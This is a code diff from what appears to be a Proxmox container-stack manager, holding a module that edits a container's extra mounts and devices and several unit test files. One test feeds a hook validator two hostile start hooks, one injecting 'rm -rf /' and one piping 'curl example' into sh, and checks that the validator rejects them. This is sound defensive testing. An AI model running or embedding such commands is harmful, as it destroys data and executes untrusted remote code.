GPU_NODE = re.compile(r'/dev/dri/(?:renderD|card)[0-9]+|/dev/kfd')
PERIPHERAL_NODE = re.compile(
r'/dev/(?:apex_[0-9]+|accel/accel[0-9]+|ttyUSB[0-9]+|ttyACM[0-9]+|bus/usb/[0-9]{3}/[0-9]{3})')
def _config(vmid):
result = subprocess.run(['pct', 'config', str(vmid)], capture_output=True, text=True, check=True)
lines = [line.partition(': ') for line in result.stdout.splitlines()]
return {key: value for key, separator, value in lines if separator}
def _options(value):
return dict(part.split('=', 1) for part in value.split(',')[1:] if '=' in part)
def _device_path(value):
fields = dict(part.split('=', 1) for part in value.split(',') if '=' in part)
return fields.get('path') or value.split(',', 1)[0]
def application_members(primary):
"""The members whose paths and devices can be edited: the application of a
recipe, the main service of a Compose stack, or every application of a
suite that has no main one."""
members = primary.get('stack', {}).get('members', [])
roles = [m for m in members
if (m.get('deployment', {}).get('replay_profile') or {}).get('role') in APPLICATION_ROLES]
if roles:
return roles
main = (primary.get('stack', {}).get('template') or {}).get('compose_stack', {}).get('main_service')
named = [m for m in members if (m.get('stack_member') or {}).get('name') == main]
return named or members
def recipe_paths(member):
deployment = member.get('deployment', {})
adapter = (deployment.get('replay_profile') or {}).get('adapter')
if adapter in RECIPE_PATHS:
return set(RECIPE_PATHS[adapter])
return {mount['container_path'] for mount in deployment.get('mounts', []) if not mount.get('custom')}
def current_state(member):
"""The mounts and devices of the member now, split into its own and the extra ones."""
config = _config(member['vmid'])
own = recipe_paths(member)
immich = (member.get('deployment', {}).get('replay_profile') or {}).get('adapter') == 'install_immich_stack.sh'
mounts, devices = [], []
for key, value in config.items():
if re.fullmatch(r'mp[0-9]+', key):
source, target = value.split(',', 1)[0], _options(value).get('mp')
mounts.append({'container_path': target, 'source': source, 'size': _options(value).get('size'),
'type': 'host-bind' if source.startswith('/') else 'managed-volume',
'extra': target not in own})
elif re.fullmatch(r'dev[0-9]+', key):
path = _device_path(value)
# The video device of Immich belongs to its acceleration profile.
removable = bool(PERIPHERAL_NODE.fullmatch(path)) or (not immich and bool(GPU_NODE.fullmatch(path)))
devices.append({'host_path': path, 'removable': removable})
rootfs = config.get('rootfs', 'local-lvm:').split(':', 1)[0]
return mounts, devices, rootfs, immich
def _describe(mount):
if mount['type'] == 'host-bind':
return f"{translate('host directory')} {mount['source']}"
return f"{translate('Container volume')} {mount.get('size') or ''} {translate('on')} {mount['source'].split(':', 1)[0]}"
def plan_changes(ui, member):
"""Ask what to remove and what to add. None when nothing changes."""
mounts, devices, storage, immich = current_state(member)
changes = {'remove_mounts': [], 'add_mounts': [], 'remove_devices': [], 'add_devices': []}
extra = [mount for mount in mounts if mount['extra']]
if extra:
kept = ui.checklist(translate('Extra paths to keep (unmark one to remove it)'),
[(mount['container_path'], _describe(mount)) for mount in extra],
[mount['container_path'] for mount in extra])
if kept is None:
return None
for mount in extra:
if mount['container_path'] in kept:
continue
if mount['type'] == 'managed-volume' and not ui.confirm(
f"{translate('Removing this path deletes its container volume and the data in it:')} "
f"{mount['container_path']}\n\n{translate('Delete it?')}", False):
continue
changes['remove_mounts'].append(mount['container_path'])
remaining = [{'type': mount['type'], 'container_path': mount['container_path']} for mount in mounts
if mount['container_path'] not in changes['remove_mounts']]
changes['add_mounts'] = [mount for mount in ask_custom_mounts(ui, remaining, storage) if mount.get('custom')]
removable = [device for device in devices if device['removable']]
if removable:
kept = ui.checklist(translate('Devices to keep (unmark one to remove it)'),
[(device['host_path'], device['host_path']) for device in removable],
[device['host_path'] for device in removable])
if kept is None:
return None
changes['remove_devices'] = [device['host_path'] for device in removable if device['host_path'] not in kept]
attached = [{'host_path': device['host_path'], 'kind': 'character-device'} for device in devices
if device['host_path'] not in changes['remove_devices']]
proposed = ask_extra_devices(ui, attached, True, kinds=('usb',) if immich else ('gpu', 'usb'))
changes['add_devices'] = proposed[len(attached):]
return changes if any(changes.values()) else None
def summary(member, changes):
name = (member.get('stack_member') or {}).get('name') or member['vmid']
lines = [f"{translate('Container')}: CT {member['vmid']} ({name})", '']
for mount in changes['add_mounts']:
target = (f"{translate('host directory')} {mount['source']}" if mount['type'] == 'host-bind'
else f"{translate('Container volume')} {mount['size_gb']} GB {translate('on')} {mount['source']}")
lines.append(f"+ {mount['container_path']} → {target}")
lines += [f"- {path}" for path in changes['remove_mounts']]
lines += [f"+ {device['host_path']}" for device in changes['add_devices']]
lines += [f"- {path}" for path in changes['remove_devices']]
lines += ['', translate('The container is restarted to apply the changes. Its own data, the database '
'and the other containers of the application are not touched.')]
return '\n'.join(lines)
def recreate_stack(project, ui, primary, run_lifecycle):
members = application_members(primary)
if not members:
ui.message(translate('This stack has no saved members to update.'), translate('OCI stack management'))
return False
member = members[0]
if len(members) > 1:
options = [(str(m['vmid']), f"CT {m['vmid']} · {(m.get('stack_member') or {}).get('name', '')}")
for m in members]
selected = ui.choose(translate('Container to change'), options, options[0][0])
if selected is None:
return False
member = next(m for m in members if str(m['vmid']) == selected)
changes = plan_changes(ui, member)
if changes is None:
ui.message(translate('Nothing was changed.'), translate('Recreate OCI'))
return False
if not ui.review(summary(member, changes), translate('Recreate OCI'),
question=translate('Recreate with these options?'), default=True):
return False
with tempfile.NamedTemporaryFile(mode='w', suffix='.json') as file:
json.dump(changes, file)
file.flush()
return run_lifecycle([sys.executable, str(project / 'remote/oci_stack_modify.py'),
str(member['vmid']), '--changes', file.name], translate('Recreate OCI'))
+9 -4
View File
@@ -103,11 +103,16 @@ class AdvancedFlowOrderTests(unittest.TestCase):
localtime = next(m for m in plan["mounts"] if m["container_path"] == "/etc/localtime")
self.assertEqual((localtime["type"], localtime["source"]), ("host-bind", "/etc/localtime"))
def test_default_mode_asks_no_storage(self, *_):
ui = RecordingUI()
def test_default_mode_asks_one_storage_the_address_and_the_start(self, *_):
ui = RecordingUI({"Storage for the container and its data": "Public"})
plan = self.build("jellyfin", ui, DEFAULT_MODE)
self.assertFalse([text for text in ui.asked if text.startswith("Storage for")])
self.assertEqual({m["source"] for m in plan["mounts"]}, {"local-lvm"})
self.assertEqual(ui.asked[0], "Storage for the container and its data")
self.assertEqual(ui.asked[-2:], ["Start with Proxmox", "Start when finished"])
self.assertFalse([text for text in ui.asked if text.startswith("Storage for /")])
self.assertEqual(plan["rootfs"]["storage"], "Public")
self.assertEqual({m["source"] for m in plan["mounts"]}, {"Public"})
plan = self.build("jellyfin", RecordingUI(), DEFAULT_MODE)
self.assertEqual({plan["rootfs"]["storage"]} | {m["source"] for m in plan["mounts"]}, {"local-lvm"})
def assert_follows(self, asked, *texts):
positions = [asked.index(text) for text in texts]
@@ -0,0 +1,119 @@
"""A default installation of a multi-container application still asks its
storage, its address and how it starts; everything else comes from the recipe."""
from pathlib import Path
import sys
import unittest
from unittest.mock import patch
ROOT = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(ROOT / "src"))
sys.path.insert(0, str(Path(__file__).resolve().parent))
from proxmenux_oci.catalog import Catalog
from proxmenux_oci.installer import DEFAULT_MODE, build_deployment
from test_advanced_flow_order import RecordingUI, addresses, storages
STORAGE = "Storage for the containers and their data"
ADDRESS = "<address>"
def asked_addresses(ui, bridge, names, *args):
# The address belongs to the questions asked through the real interface.
ui.asked.append(ADDRESS)
return addresses(ui, bridge, names)
def storages_used(plan):
used = {value for key, value in plan.items()
if key.endswith("storage") and key != "template_storage" and isinstance(value, str)}
used |= {plan[key]["storage"] for key in ("media", "application", "transfer")
if isinstance(plan.get(key), dict) and plan[key].get("storage")}
for service in plan.get("services", []):
used.add(service["deployment"]["rootfs"]["storage"])
used |= {m["source"] for m in service["deployment"]["mounts"] if m["type"] == "managed-volume"}
return used
@patch("proxmenux_oci.i18n.language", return_value="en")
@patch("proxmenux_oci.installer.host.storages", side_effect=storages)
@patch("proxmenux_oci.installer.host.bridges", return_value=[{"iface": "vmbr0", "cidr": "192.0.2.10/24"}])
@patch("proxmenux_oci.installer.host.timezone", return_value="Europe/Madrid")
@patch("proxmenux_oci.installer.access.ask_addresses", side_effect=asked_addresses)
class DefaultInstallEssentialsTests(unittest.TestCase):
catalog = Catalog(ROOT)
def build(self, app, answers=None):
ui = RecordingUI(answers)
return ui, build_deployment(self.catalog.compose(app), ui, DEFAULT_MODE)
def test_every_stack_asks_storage_address_and_start(self, *_):
for app in ("nextcloud-stack", "paperless-ngx", "tandoor", "immich", "linkwarden", "suite-arr"):
ui, _plan = self.build(app)
self.assertIn(STORAGE, ui.asked, app)
self.assertIn(ADDRESS, ui.asked, app)
self.assertTrue(any("with Proxmox" in text for text in ui.asked), app)
self.assertLess(ui.asked.index(STORAGE), ui.asked.index(ADDRESS), app)
def test_the_users_data_is_placed_by_the_user_and_the_rest_comes_from_the_recipe(self, *_):
expected = {
"nextcloud-stack": [STORAGE, "Where to store the Nextcloud files, configuration and data",
"Nextcloud volume size in GB", ADDRESS, "Start the stack with Proxmox",
"Start when finished"],
"immich": [STORAGE, "Where to store the Immich library", "Library size in GB", ADDRESS,
"Start the stack with Proxmox", "Start when finished"],
"tandoor": [STORAGE, "Where to store the recipe images and files", "Files volume size in GB", ADDRESS,
"Start the stack with Proxmox"],
"paperless-ngx": [STORAGE, "Documents volume size in GB", "Where to store the consume and export folders",
"Shared directory for consume and export", ADDRESS, "Start the stack with Proxmox",
"Start when finished"],
"linkwarden": [STORAGE, "Where to store linkwarden: /data/data", "Size in GB of linkwarden: /data/data",
ADDRESS, "Start the stack with Proxmox"],
}
for app, asked in expected.items():
self.assertEqual(self.build(app)[0].asked, asked, app)
for text in ("Stack name", "Base VMID (empty = next free block)", "Timezone"):
self.assertNotIn(text, self.build("suite-arr")[0].asked)
def test_a_host_directory_can_be_chosen_for_the_data(self, *_):
_ui, plan = self.build("nextcloud-stack", {
"Where to store the Nextcloud files, configuration and data": "host-bind",
"Shared host directory": "/mnt/tank/nextcloud"})
self.assertEqual((plan["application"]["mode"], plan["application"]["host_path"], plan["application"]["backup"]),
("host-bind", "/mnt/tank/nextcloud", False))
_ui, plan = self.build("nextcloud-stack", {"Nextcloud volume size in GB": "200"})
self.assertEqual((plan["application"]["mode"], plan["application"]["size_gb"]), ("managed-volume", 200))
def test_the_chosen_storage_holds_the_containers_and_their_data(self, *_):
for app in ("nextcloud-stack", "paperless-ngx", "tandoor", "immich", "linkwarden", "suite-arr"):
_ui, plan = self.build(app, {STORAGE: "Public"})
self.assertEqual(storages_used(plan), {"Public"}, app)
_ui, plan = self.build(app)
self.assertEqual(storages_used(plan), {"local-lvm"}, app)
def test_a_single_image_application_asks_the_same_essentials(self, *_):
single = "Storage for the container and its data"
for app in ("jellyfin", "frigate", "uptimekuma"):
ui, plan = self.build(app, {single: "Public"})
self.assertEqual(ui.asked[0], single, app)
self.assertIn(ADDRESS, ui.asked, app)
self.assertEqual(ui.asked[-2:], ["Start with Proxmox", "Start when finished"], app)
self.assertEqual(plan["rootfs"]["storage"], "Public", app)
self.assertEqual({m["source"] for m in plan["mounts"] if m["type"] == "managed-volume"} - {"Public"},
set(), app)
def test_the_members_of_a_stack_ask_nothing_of_their_own(self, *_):
for app in ("linkwarden", "suite-arr"):
ui, _plan = self.build(app)
self.assertEqual(ui.asked.count(ADDRESS), 1, app)
self.assertNotIn("Storage for the container and its data", ui.asked, app)
self.assertNotIn("Start with Proxmox", ui.asked, app)
self.assertNotIn("Start when finished", ui.asked, app)
def test_the_start_answers_are_the_users(self, *_):
_ui, plan = self.build("nextcloud-stack", {"Start the stack with Proxmox": True, "Start when finished": False})
self.assertEqual((plan["onboot"], plan["start_after_create"]), (True, False))
if __name__ == "__main__":
unittest.main()
+12 -1
View File
@@ -19,11 +19,22 @@ INVENTORY = {"gpus": ["NVIDIA GeForce RTX 3060, GPU-1234, 550.0"]}
class ConsoleHookTests(unittest.TestCase):
def test_only_the_proxmenux_start_hook_is_recognised(self):
hook = oci_console.start_mark_hook(165).split(": ", 1)[1]
line = oci_console.start_mark_hook(165)
hook = line.split(": ", 1)[1]
self.assertTrue(oci_console.is_start_mark_hook(line))
self.assertFalse(oci_console.is_start_mark_hook(line.replace("pre-start", "post-stop")))
self.assertTrue(dynamic.console_start_hook(hook))
self.assertFalse(dynamic.console_start_hook(hook.replace("exit 0", "rm -rf /; exit 0")))
self.assertFalse(dynamic.console_start_hook("/bin/sh -c 'curl example | sh; exit 0'"))
def test_the_stack_replay_does_not_keep_the_start_hook_as_an_unknown_directive(self):
import oci_stack_replay
source = Path(oci_stack_replay.__file__).read_text(encoding="utf-8")
self.assertIn("and not oci_console.is_start_mark_hook(line)]", source)
saved = {"preserved_raw_runtime": [oci_console.start_mark_hook(129), "lxc.cap.drop: sys_admin"]}
kept = [l for l in saved["preserved_raw_runtime"] if not oci_console.is_start_mark_hook(l)]
self.assertEqual(kept, ["lxc.cap.drop: sys_admin"])
@unittest.skipUnless(hasattr(os, "geteuid") and os.geteuid() == 0, "the NVIDIA hook must belong to root")
def test_a_container_with_the_console_hook_passes_validation(self):
with tempfile.TemporaryDirectory() as tmp:
+104
View File
@@ -0,0 +1,104 @@
"""Every multi-container application offers extra paths in an advanced installation."""
from pathlib import Path
import sys
import unittest
from unittest.mock import patch
ROOT = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(ROOT / "src"))
sys.path.insert(0, str(Path(__file__).resolve().parent))
from proxmenux_oci.catalog import Catalog
from proxmenux_oci.cli import _deployment_summary_text
from proxmenux_oci.installer import ADVANCED_MODE, DEFAULT_MODE, build_deployment
from test_advanced_flow_order import RecordingUI, addresses, storages
EXTRA = "Add an extra custom path"
SPECIAL = ("nextcloud-stack", "paperless-ngx", "tandoor", "immich")
class ExtraPathUI(RecordingUI):
"""Adds one container volume the first time the extra path is offered."""
def __init__(self):
super().__init__({"Path inside the container (e.g. /media-extra)": "/media-extra",
"Volume size in GB": "20"})
self.offered = 0
def confirm(self, text, default=False):
if text == EXTRA:
self.asked.append(text)
self.offered += 1
return self.offered == 1
return super().confirm(text, default)
@patch("proxmenux_oci.i18n.language", return_value="en")
@patch("proxmenux_oci.installer.host.storages", side_effect=storages)
@patch("proxmenux_oci.installer.host.bridges", return_value=[{"iface": "vmbr0", "cidr": "192.0.2.10/24"}])
@patch("proxmenux_oci.installer.host.timezone", return_value="Europe/Madrid")
@patch("proxmenux_oci.installer.access.ask_addresses", side_effect=addresses)
class StackExtraPathTests(unittest.TestCase):
catalog = Catalog(ROOT)
def test_the_advanced_installation_offers_an_extra_path_before_the_network(self, *_):
for app in SPECIAL:
ui = ExtraPathUI()
template = self.catalog.compose(app)
plan = build_deployment(template, ui, ADVANCED_MODE)
self.assertEqual(ui.asked.count(EXTRA), 2, app)
bridge = next(text for text in ui.asked if text.startswith("Access bridge"))
self.assertLess(ui.asked.index(EXTRA), ui.asked.index(bridge), app)
self.assertEqual([(m["type"], m["container_path"], m["size_gb"]) for m in plan["extra_mounts"]],
[("managed-volume", "/media-extra", 20)], app)
self.assertIn("/media-extra", _deployment_summary_text(template, plan), app)
def test_an_extra_path_cannot_hide_the_data_of_the_application(self, *_):
ui = ExtraPathUI()
ui.answers["Path inside the container (e.g. /media-extra)"] = "/var/www/html/data"
with self.assertRaises(ValueError):
build_deployment(self.catalog.compose("nextcloud-stack"), ui, ADVANCED_MODE)
def test_the_advanced_installation_offers_usb_devices_for_the_application(self, *_):
device = "Add another GPU or USB device manually?"
usb = [{"path": "/dev/ttyACM1", "name": "Z-Stick", "kind": "Communications"}]
for app in SPECIAL:
ui = RecordingUI()
offered = []
def confirm(text, default=False, ui=ui, offered=offered):
ui.asked.append(text)
if text == device:
offered.append(text)
return len(offered) == 1
return default
def choose(text, options, default=None, ui=ui):
ui.asked.append(text)
tags = [tag for tag, _label in options]
if text == "Device to attach":
self.assertNotIn("nvidia", tags, app)
return "usb"
return "/dev/ttyACM1" if "/dev/ttyACM1" in tags else default
ui.confirm, ui.choose = confirm, choose
template = self.catalog.compose(app)
with patch("proxmenux_oci.extra_devices.host.usb_devices", return_value=usb):
plan = build_deployment(template, ui, ADVANCED_MODE)
self.assertEqual([(d["kind"], d["host_path"], d["gid_strategy"]) for d in plan["extra_devices"]],
[("character-device", "/dev/ttyACM1", "host-device-gid")], app)
self.assertIn("/dev/ttyACM1", _deployment_summary_text(template, plan), app)
def test_the_default_installation_does_not_ask_it(self, *_):
for app in SPECIAL:
ui = RecordingUI()
plan = build_deployment(self.catalog.compose(app), ui, DEFAULT_MODE)
self.assertNotIn(EXTRA, ui.asked, app)
self.assertEqual(plan["extra_mounts"], [], app)
self.assertEqual(plan["extra_devices"], [], app)
self.assertNotIn("Add another GPU or USB device manually?", ui.asked, app)
if __name__ == "__main__":
unittest.main()
+127
View File
@@ -0,0 +1,127 @@
"""Recreate on a multi-container application edits the extra paths and devices
of its application container, and never its own data."""
from pathlib import Path
import sys
import unittest
from unittest.mock import patch
ROOT = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(ROOT / "src"))
sys.path.insert(0, str(ROOT / "remote"))
from proxmenux_oci import stack_recreation
MEMBER = {"vmid": 129, "stack_member": {"name": "application"},
"deployment": {"replay_profile": {"adapter": "install_tandoor_stack.sh", "role": "application"}}}
DATABASE = {"vmid": 130, "stack_member": {"name": "database"},
"deployment": {"replay_profile": {"adapter": "install_tandoor_stack.sh", "role": "database"}}}
CONFIG = {
"rootfs": "local-lvm:vm-129-disk-0,size=8G",
"mp0": "local-lvm:vm-129-disk-1,mp=/opt/recipes/staticfiles,backup=1,size=2G",
"mp1": "local-lvm:vm-129-disk-2,mp=/opt/recipes/mediafiles,backup=1,size=16G",
"mp2": "local-lvm:vm-129-disk-3,mp=/media-extra,backup=1,size=2G",
"mp3": "/mnt/share,mp=/host-extra,backup=0",
"dev0": "path=/dev/ttyACM1,mode=0660,deny-write=0,gid=20",
}
class ScriptedUI:
def __init__(self, kept_paths, kept_devices, delete=True):
self.kept = {"Extra paths to keep (unmark one to remove it)": kept_paths,
"Devices to keep (unmark one to remove it)": kept_devices}
self.delete = delete
self.offered = {}
def checklist(self, text, options, default=None):
self.offered[text] = [tag for tag, _label in options]
return self.kept[text]
def confirm(self, text, default=False):
return self.delete if "deletes its container volume" in text else False
@patch("proxmenux_oci.i18n.language", return_value="en")
@patch.object(stack_recreation, "_config", return_value=CONFIG)
class StackRecreationTests(unittest.TestCase):
def test_only_the_application_container_is_edited(self, *_):
primary = {"stack": {"members": [DATABASE, MEMBER]}}
self.assertEqual([m["vmid"] for m in stack_recreation.application_members(primary)], [129])
def test_the_data_of_the_recipe_is_never_offered_for_removal(self, *_):
ui = ScriptedUI(["/media-extra", "/host-extra"], ["/dev/ttyACM1"])
self.assertIsNone(stack_recreation.plan_changes(ui, MEMBER))
self.assertEqual(ui.offered["Extra paths to keep (unmark one to remove it)"], ["/media-extra", "/host-extra"])
def test_unmarked_paths_and_devices_are_removed(self, *_):
changes = stack_recreation.plan_changes(ScriptedUI([], []), MEMBER)
self.assertEqual(changes["remove_mounts"], ["/media-extra", "/host-extra"])
self.assertEqual(changes["remove_devices"], ["/dev/ttyACM1"])
self.assertEqual((changes["add_mounts"], changes["add_devices"]), ([], []))
def test_a_volume_is_kept_when_its_deletion_is_not_confirmed(self, *_):
changes = stack_recreation.plan_changes(ScriptedUI([], ["/dev/ttyACM1"], delete=False), MEMBER)
self.assertEqual(changes["remove_mounts"], ["/host-extra"])
def test_the_summary_lists_what_changes(self, *_):
changes = {"remove_mounts": ["/media-extra"], "remove_devices": [], "add_devices": [
{"host_path": "/dev/ttyACM0"}], "add_mounts": [
{"type": "host-bind", "container_path": "/scans", "source": "/mnt/scans"}]}
text = stack_recreation.summary(MEMBER, changes)
for expected in ("CT 129", "+ /scans", "- /media-extra", "+ /dev/ttyACM0", "are not touched"):
self.assertIn(expected, text)
class StackModifyValidationTests(unittest.TestCase):
def setUp(self):
import oci_stack_modify
self.modify = oci_stack_modify
lines = "\n".join(f"{key}: {value}" for key, value in CONFIG.items()) + "\n"
patcher = patch.object(oci_stack_modify, "run", return_value=lines)
patcher.start()
self.addCleanup(patcher.stop)
def changes(self, **values):
return {"remove_mounts": [], "add_mounts": [], "remove_devices": [], "add_devices": [], **values}
def test_a_path_that_overlaps_the_data_is_refused(self):
mount = {"type": "managed-volume", "container_path": "/opt/recipes/mediafiles/sub", "source": "local-lvm",
"size_gb": 2}
with self.assertRaises(ValueError):
self.modify.validate(129, self.changes(add_mounts=[mount]))
def test_removing_something_that_is_not_there_is_refused(self):
with self.assertRaises(ValueError):
self.modify.validate(129, self.changes(remove_mounts=["/nope"]))
with self.assertRaises(ValueError):
self.modify.validate(129, self.changes(remove_devices=["/dev/ttyACM0"]))
def test_an_unsupported_device_is_refused(self):
device = {"kind": "character-device", "host_path": "/dev/sda"}
with self.assertRaises(ValueError):
self.modify.validate(129, self.changes(add_devices=[device]))
def test_valid_removals_pass(self):
self.modify.validate(129, self.changes(remove_mounts=["/media-extra"], remove_devices=["/dev/ttyACM1"]))
def test_an_updated_application_stops_requiring_a_removed_path(self):
kept = [{"container_path": "/opt/recipes/mediafiles", "required": True}]
record = {"installation_id": "id", "stack_member": {"primary_vmid": 129},
"observed": {"archive_path": "a", "resolved_registry_digest": "d", "image": {}},
"template": {"container_contract": {"volumes": kept + [
{"container_path": "/media-extra", "required": True}]}},
"deployment": {"replay_profile": {"adapter": "install_tandoor_stack.sh"}, "mounts": []}}
converted = {"deployment": {"mounts": [{"container_path": "/opt/recipes/mediafiles"}], "devices": []},
"template": {"container_contract": {"volumes": kept}}}
written = {}
with patch.object(self.modify.instances, "read", return_value=record), \
patch.object(self.modify.instances, "observe", return_value={"config": {}}), \
patch.object(self.modify.instances, "location", side_effect=lambda root, vmid: vmid), \
patch.object(self.modify.instances, "write", side_effect=written.__setitem__), \
patch.dict(self.modify.CONVERTERS, {"install_tandoor_stack.sh": lambda record: converted}):
self.modify.register(Path("/nowhere"), 129)
self.assertEqual(written[129]["template"]["container_contract"]["volumes"], kept)
if __name__ == "__main__":
unittest.main()
+41
View File
@@ -0,0 +1,41 @@
"""A stack update keeps the USB, serial and GPU nodes of a member, and stops on anything else."""
from pathlib import Path
import sys
import unittest
ROOT = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(ROOT / "remote"))
import oci_stack_replay
def projection(*values):
return {"native_devices": [{"key": f"dev{index}", "value": value} for index, value in enumerate(values)]}
class StackReplayDeviceTests(unittest.TestCase):
def test_usb_serial_and_gpu_nodes_are_translated(self):
devices = oci_stack_replay.translated_devices(projection(
"path=/dev/ttyACM1,mode=0660,deny-write=0,gid=20",
"path=/dev/bus/usb/003/002,mode=0664,deny-write=1",
"path=/dev/dri/renderD128,mode=0660,gid=104,uid=1000"))
self.assertEqual(devices[0], {
"id": "native-ttyACM1", "kind": "character-device", "host_path": "/dev/ttyACM1",
"container_path": "/dev/ttyACM1", "mode": "0660", "deny_write": False,
"gid_strategy": "host-device-gid"})
self.assertEqual((devices[1]["gid_strategy"], devices[1]["deny_write"], devices[1]["mode"]),
("none", True, "0664"))
self.assertEqual((devices[2]["host_path"], devices[2]["uid"]), ("/dev/dri/renderD128", 1000))
def test_a_member_without_devices_has_none(self):
self.assertEqual(oci_stack_replay.translated_devices(projection()), [])
def test_an_unknown_device_has_no_translation(self):
for value in ("path=/dev/sda,mode=0660", "path=/dev/nvidia0,mode=0666", "mode=0660"):
with self.assertRaises(ValueError):
oci_stack_replay.translated_devices(projection(value))
if __name__ == "__main__":
unittest.main()
+60
View File
@@ -0,0 +1,60 @@
"""An advanced installation of a multi-container application asks the CPU and
the memory of its application container; a default one keeps the recipe."""
from pathlib import Path
import sys
import unittest
from unittest.mock import patch
ROOT = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(ROOT / "src"))
sys.path.insert(0, str(Path(__file__).resolve().parent))
from proxmenux_oci.catalog import Catalog
from proxmenux_oci.cli import _deployment_summary_text
from proxmenux_oci.installer import ADVANCED_MODE, DEFAULT_MODE, InstallError, build_deployment
from test_advanced_flow_order import RecordingUI, addresses, storages
SPECIAL = {"nextcloud-stack": (2, 2048), "paperless-ngx": (2, 2048), "tandoor": (2, 2048), "immich": (4, 3072)}
REMOTE = {"nextcloud-stack": "nextcloud", "paperless-ngx": "paperless", "tandoor": "tandoor", "immich": "immich"}
@patch("proxmenux_oci.i18n.language", return_value="en")
@patch("proxmenux_oci.installer.host.storages", side_effect=storages)
@patch("proxmenux_oci.installer.host.bridges", return_value=[{"iface": "vmbr0", "cidr": "192.0.2.10/24"}])
@patch("proxmenux_oci.installer.host.timezone", return_value="Europe/Madrid")
@patch("proxmenux_oci.installer.access.ask_addresses", side_effect=addresses)
class StackResourceTests(unittest.TestCase):
catalog = Catalog(ROOT)
def test_the_advanced_installation_asks_cpu_and_memory_before_the_storage(self, *_):
for app in SPECIAL:
ui = RecordingUI({"CPU cores": "6", "Memory in MB": "4096"})
template = self.catalog.compose(app)
plan = build_deployment(template, ui, ADVANCED_MODE)
self.assertEqual((plan["resources"]["cores"], plan["resources"]["memory_mb"]), (6, 4096), app)
self.assertLess(ui.asked.index("Memory in MB"), ui.asked.index("Storage for rootfs"), app)
self.assertIn("6 CPU, 4096 MB RAM", _deployment_summary_text(template, plan), app)
def test_the_default_installation_keeps_the_resources_of_the_recipe(self, *_):
for app, expected in SPECIAL.items():
ui = RecordingUI()
plan = build_deployment(self.catalog.compose(app), ui, DEFAULT_MODE)
self.assertEqual((plan["resources"]["cores"], plan["resources"]["memory_mb"]), expected, app)
self.assertNotIn("CPU cores", ui.asked, app)
def test_resources_that_cannot_run_the_application_are_refused(self, *_):
ui = RecordingUI({"CPU cores": "0"})
with self.assertRaises(InstallError):
build_deployment(self.catalog.compose("tandoor"), ui, ADVANCED_MODE)
def test_the_installers_create_the_application_with_the_chosen_resources(self, *_):
for app, (cores, memory) in SPECIAL.items():
script = (ROOT / f"remote/install_{REMOTE[app]}_stack.sh").read_text()
self.assertIn(f"jqr '.resources.cores // {cores}'", script, app)
self.assertIn(f"jqr '.resources.memory_mb // {memory}'", script, app)
self.assertIn('--cores "$APPLICATION_CORES" --memory "$APPLICATION_MEMORY"', script, app)
if __name__ == "__main__":
unittest.main()
+55
View File
@@ -0,0 +1,55 @@
"""A static address another device of the network already uses is not accepted."""
from pathlib import Path
import sys
import unittest
from unittest.mock import patch
ROOT = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(ROOT / "src"))
from proxmenux_oci import network
BRIDGES = [{"iface": "vmbr0", "cidr": "192.168.0.50/24", "gateway": "192.168.0.1"}]
class SequenceUI:
def __init__(self, answers):
self.answers = iter(answers)
self.messages = []
def choose(self, *_args, **_kwargs):
return next(self.answers)
def ask(self, *_args, **_kwargs):
return next(self.answers)
def message(self, text):
self.messages.append(text)
@patch("proxmenux_oci.i18n.language", return_value="en")
@patch.object(network.host, "bridges", return_value=BRIDGES)
@patch.object(network, "addresses_in_use", return_value=set())
class StaticAddressInUseTests(unittest.TestCase):
def test_an_address_that_answers_is_asked_again(self, *_):
ui = SequenceUI([network.STATIC, "192.168.0.99/24", "192.168.0.170/24", "192.168.0.1"])
with patch.object(network.host, "address_answers", side_effect=lambda ip, bridge: ip == "192.168.0.99") as probe:
addresses, gateway = network.ask_addresses(ui, "vmbr0", [""])
self.assertEqual((addresses[""], gateway), ("192.168.0.170/24", "192.168.0.1"))
self.assertEqual([call.args for call in probe.call_args_list],
[("192.168.0.99", "vmbr0"), ("192.168.0.170", "vmbr0")])
self.assertEqual(len(ui.messages), 1)
self.assertIn("192.168.0.99", ui.messages[0])
def test_the_address_the_container_already_has_is_not_probed(self, *_):
ui = SequenceUI([network.STATIC, "192.168.0.169/24", "192.168.0.1"])
with patch.object(network.host, "address_answers", return_value=True) as probe:
addresses, _gateway = network.ask_addresses(ui, "vmbr0", [""], {"": "192.168.0.169/24"}, "192.168.0.1")
self.assertEqual(addresses[""], "192.168.0.169/24")
probe.assert_not_called()
self.assertEqual(ui.messages, [])
if __name__ == "__main__":
unittest.main()
+7 -2
View File
@@ -13,6 +13,9 @@ from proxmenux_oci.extra_devices import (ask_extra_devices, ask_stack_extra_devi
from proxmenux_oci.ui import BackRequested, BacktrackUI, DialogUI, RestartWizard
USB = [{'path': '/dev/ttyACM0', 'name': 'ConBee II', 'kind': 'Communications'}]
class SequenceUI:
def __init__(self, answers):
self.answers = iter(answers)
@@ -69,7 +72,8 @@ class WizardTests(unittest.TestCase):
finally:
wizard.close()
def test_manual_usb_is_available_without_profile(self):
@patch('proxmenux_oci.extra_devices.host.usb_devices', return_value=USB)
def test_manual_usb_is_available_without_profile(self, _usb):
ui = SequenceUI([True, 'usb', '/dev/ttyACM0', False])
devices = ask_extra_devices(ui, [], True)
self.assertEqual(devices[0]['host_path'], '/dev/ttyACM0')
@@ -80,7 +84,8 @@ class WizardTests(unittest.TestCase):
[{'kind': 'character-device'}])
self.assertEqual(permissions['strategy'], 'linuxserver-native-init')
def test_stack_device_goes_only_to_selected_member(self):
@patch('proxmenux_oci.extra_devices.host.usb_devices', return_value=USB)
def test_stack_device_goes_only_to_selected_member(self, _usb):
ui = SequenceUI([True, 'usb', '/dev/ttyACM0', False, ['server']])
services = [
{'name': name, 'main': name == 'server',